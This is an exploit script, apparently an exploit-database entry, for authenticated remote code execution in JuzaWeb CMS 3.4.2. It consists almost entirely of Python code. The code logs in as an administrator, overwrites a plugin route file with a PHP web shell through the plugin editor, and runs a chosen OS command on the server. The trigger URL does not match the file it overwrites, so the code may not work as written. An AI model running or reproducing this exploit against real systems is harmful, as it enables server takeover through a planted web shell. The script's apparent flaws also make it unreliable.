JuzaWeb CMS 3.4.2 Authenticated Remote Code Execution

# Exploit Title: JuzaWeb CMS 3.4.2 - Authenticated Remote Code Execution # Date: 2026-01-10 # Exploit Author: Sardor Shoakbarov # Author GitHub: https://github.com/TheDeepOpc # Vendor Homepage: https://juzaweb.com/ # Software Link: https://github.com/juzaweb/ # CVE: N/A (Pending) import requests import argparse from bs4 import BeautifulSoup def run_exploit(): parser = argparse.ArgumentParser(description='JuzaWeb Authenticated RCE') # Setting up the exact syntax you requested parser.add_argument('-u', '--url', help='Target URL (e.g. http://127.0.0.1:8000)', required=True) parser.add_argument('-user', '--username', help='Admin Username/Email', required=True) parser.add_argument('-p', '--password', help='Admin Password', required=True) parser.add_argument('-cmd', '--command', help='OS Command to execute (e.g. "ls", "id")', required=True) args = parser.parse_args() target = args.url.rstrip('/') session = requests.Session() print(f"[*] Targeting: {target}") # Step 1: Login login_url = f"{target}/admin-cp/login" try: get_login = session.get(login_url) soup = BeautifulSoup(get_login.text, 'html.parser') token = soup.find('input', {'name': '_token'})['value'] login_data = { '_token': token, 'email': args.username, 'password': args.password } res = session.post(login_url, data=login_data) if "Dashboard" not in res.text: print("[-] Login failed. Check credentials.") return print("[+] Login Successful.") except Exception as e: print(f"[-] Error during login: {e}") return # Step 2: Inject Web Shell # Injecting system() into a plugin file as described in the report print("[*] Injecting payload into Plugin Editor...") editor_url = f"{target}/admin-cp/plugins/editor" shell_payload = "<?php if(isset($_GET['cmd'])) { system($_GET['cmd']); die; } ?>" inject_data = { 'file': 'src/routes/api.php', # File to overwrite 'content': shell_payload, 'plugin': 'juzaweb/example' # Targeted plugin } session.post(editor_url, data=inject_data) # Step 3: Execute Command # Accessing the modified route to trigger the command print(f"[*] Executing command: {args.command}") exec_url = f"{target}/admin-cp/plugins?cmd={args.command}" response = session.get(exec_url) print("\n--- Output ---") print(response.text.strip()) print("--------------") if __name__ == "__main__": run_exploit()